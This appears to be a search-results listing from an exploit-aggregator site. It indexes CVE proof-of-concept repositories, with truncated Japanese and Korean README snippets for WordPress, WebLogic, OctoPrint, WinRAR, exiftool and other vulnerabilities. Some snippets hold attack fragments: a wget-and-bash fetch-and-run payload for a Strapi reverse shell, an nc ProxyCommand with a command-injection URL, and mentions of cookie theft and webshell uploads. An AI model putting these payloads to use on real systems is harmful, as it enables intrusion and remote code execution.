672518 matches found
CVE-2024-6529
WordPressプラグインの脆弱性に対する概念実証（PoC） このリポジトリには、さまざまなWordPressプラグインで発見された脆弱性に対する概念実証（PoC）スクリプトが含まれています。これらのスクリプトは、攻撃者がこれらの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。 目次 対象脆弱性 セットアップと使用方法 Ultimate Classified Listingsプラグインの反射型XSS XSSを使用したCookieの窃取 重要な注意点 対象脆弱性 1. Ultimate Classified...
CVE-2024-50849
CVE-2024-50849: WorldServer v11.8.2에 저장된 XSS WorldServer v11.8.2의 'Rules' 기능에서 발견된 저장형 교차 사이트 스크립팅XSS 취약점으로, 원격 인증된 공격자가 임의의 JavaScript 코드를 실행할 수 있습니다. 인증된 높은 권한의 사용자는 'Rules' 페이지로 이동해야 합니다. 모든 필수 필드를 채우고 Rule name과 Parameter subject 필드에 XSS 페이로드를 삽입합니다. 규칙이 저장되면 'Execute Now' 버튼을 클릭한 후 JavaScrip...
CVE-2025-67888
CVE-2025-67888 Control Web Panel = 0.9.8.1208 admin/index.php OSコマンドインジェクションの脆弱性 影響を受けるバージョン: バージョン 0.9.8.1208 およびそれ以前のバージョン。 脆弱性の説明: "key" GETパラメータを介して /admin/index.php に渡されるユーザー入力は（"api"...
CVE-2025-26633
CVE-2025-26633 - MSC EvilTwin PoC Microsoft Management Console MMC を悪用する CVE-2025-26633 脆弱性の概念実証 PoC 概要 この PoC は、Trend Micro によって発見された CVE-2025-26633 脆弱性をシミュレートしたものです。この脆弱性は、悪意のある .msc ファイルの読み込みを悪用し、MMC コンテキスト内で HTML と ActiveX を介したリモートコマンド実行を可能にします。 注意 この PoC は教育目的 であり、管理され認可された環境でのみ 実行する必要があります。...
CVE-2025-58180
CVE-2025-58180 OctoPrint のファイルアップロードにおける無害化されていないファイル名によるRCE OctoPrint バージョン =1.11.2 において、ファイルアップロードアクセス（有効なAPIキーやセッションなど）を持つ攻撃者は、サニタイズ（無害化）をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行（RCE）が発生します。 PoC: 脆弱性再現の手順 ステップ 1: バージョン情報 最新安定版リリースをダウンロード: OctoPrint 1.11.2 ステッ...
cve-2025-55182-poc
CVE-2025-55182 React2Shell - 学術的概念実証 ⚠️ 免責事項: 教育目的のみ このリポジトリには、重大な脆弱性（CVSS 10.0）に対する機能的なエクスプロイトコードが含まれています。これは、厳密に学術研究、セキュリティ分析、および教育目的を意図しています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対してこのコードを使用しないでください。著者は、いかなる誤用に対しても責任を負いません。 📄 概要 このプロジェクトは、React Server Components RSC...
CVE-2019-19609-POC-Python
このスクリプトは、"updatedpass" 変数で宣言されたパスワードへのリセットを試みます。成功すると、Strapi から JWT トークンを取得し、それを使用してコマンドを実行します。 bind コマンドの実行は、bash や python などでリバースシェルペイロードを送信しない限り機能しません。.sh ファイルを生成して nc をダウンロードして実行させるなど、どんな方法でもかまいません。elf でも構いません。そのためには、payloadexp を && から に変更してください。例: && $wget xxxx -O /tmp/oooo; bash /tmp/ooo UR...
Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-
ポイントツーポイントプロトコルデーモンRCE脆弱性-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: 課題 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 ポイントツーポイントプロトコルデーモンRCE 脆弱性（CVE-2020-8597） システムおよびネットワークプログラミング– IE2012 目次 1. はじめに 2. 脆弱性を発見した人物 3. 発見方法 4. 発見時期 5. 引き起こし得る被害 6. 悪用手法 7. 選択した悪用方法 8...
CVE-2019-2725
CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 ペイロードビルダー & エクスプロイト 情報 / ヘルプ root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | |...
CVE-2023-51385_test
CVE-2023-51385 の検証 まず、/.ssh/config に以下の内容を追加する必要があります root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules ファイルの文にはコマンドインジェクションが存在します root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします root@kitploi...
Hacking-pdf.js-vulnerability
🚨 CVE-2024-4367: PDF.js에서의 임의 JavaScript 실행 이 프로젝트는 Mozilla의 PDF.js 라이브러리에서 글꼴 처리 코드의 부적절한 타입 검사로 인해 임의 JavaScript 실행을 허용하는 높은 심각도 취약점인 CVE-2024-4367 을 시연하고 분석합니다. 우리의 연구는 악의적으로 제작된 PDF가 Electron 앱과 같은 컨텍스트에서 JavaScript를 실행하여 잠재적으로 원격 코드 실행으로 이어질 수 있는 방법을 보여줍니다. 🔗 GitHub 저장소 :...
CVE-2021-30860
CVE-2021-30860 CVE-2021-30860（FORCEDENTRY）は、MacOS、iOS、WatchOSにおける既知の脆弱性です。この脆弱性により、「悪意を持って細工されたPDF」を被害者のデバイスに送信することで、任意のコード実行が可能になります。 この脆弱性は、2021年9月13日にAppleによって次のバージョンで修正されました。 iOS 14.8 OSX Big Sur 11.6、Security Update 2021-005 Catalina WatchOS 7.6.2 しかし、2021年2月以降、実際に悪用されていました。 目的...
westone-CVE-2021-21972-scanner
westone-CVE-2021-21972-scanner VMware vCenter Server のリモートコード実行の脆弱性です。ポート 443 にアクセスできる悪意のある攻撃者は、細工されたリクエストを vCenter Server に送信することで、最終的にリモートでの任意のコード実行を引き起こす可能性があります。 インストールと使用方法 git clone https://github.com/Osyanina/westone-CVE-2021-21972-scanner.git cd westone-CVE-2021-21972-scanner cmd...
cve-2019-9193
CVE-2019-9193 • CVE-2019-9193 脆弱性 PostgreSQLは「COPY TO / FROM PROGRAM」の機能を介して、DBのオペレーティングシステム内で任意のコードを実行できる脆弱性 攻撃ベクトルは「SuperUser」と「pgexecuteserverprogram」グループのUserが該当する...
exploit_cve_2025_67303
exploitcve202567303 CVE-2025-67303 用の PoC を作成する PoC のオリジナルは https://www.doyensec.com/resources/DoyensecAdvisoryComfyUIManagerRCEviaCustomNodeInstall.pdf...
CVE-2020-27955
CVE-2020-27955 脆弱性の再現 1、Windowsマシンで脆弱性のあるバージョンのGit-LFSをダウンロード ダウンロードURL：https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2、Windowsマシンにインストールし、hostsファイルに以下の情報を追加します。10.1.1.5 は nc が 8888 ポートをリッスンするホストです（必要に応じて置き換えてください） 10.1.1.5 abcall.xyz 3、10.1.1.5 ホストで nc がポート 8888...
CVE-2024-56264
CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPressプラグイン ACF City Selector （バージョン = 1.14.0）で見つかった任意ファイルアップロード 脆弱性であるCVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに悪意のあるPHPファイル（ウェブシェル）をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE詳細 CVE ID:...
CVE-2018-20250
exp for Winrar에서 코드 실행 추출 Ridter의 poc 사용 방법? Python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음 원하는 값을 설정하기만 하면 됩니다. 이 exp 스크립트가 자동으로 악성 아카이브 파일을 생성합니다! 1. 원하는 값 설정 root@kitploit: ... ... 원하는 아카이브 파일 이름 rarfilename = "test.rar" 실행하려는 악성 파일 evilfilename = "calc.exe" 원하는 압축 해제 경로 아래 참조 targetfilename =...
CVE-2021-22204
CVE-2021-22204 취약점 exiftool 임의 명령 실행 사용법 1. exploit.py 파일에서 리버스 쉘 받을 ip, port 설정 후 docker compose up 실행 2. docker shell에 접근 후 /root 경로에서 python3 exploit.py 파일을 실행할 경우 image.jpg 파일 공격 코드 생성 3. 해당 image.jpg 파일을 다운로드하여 사용 참고...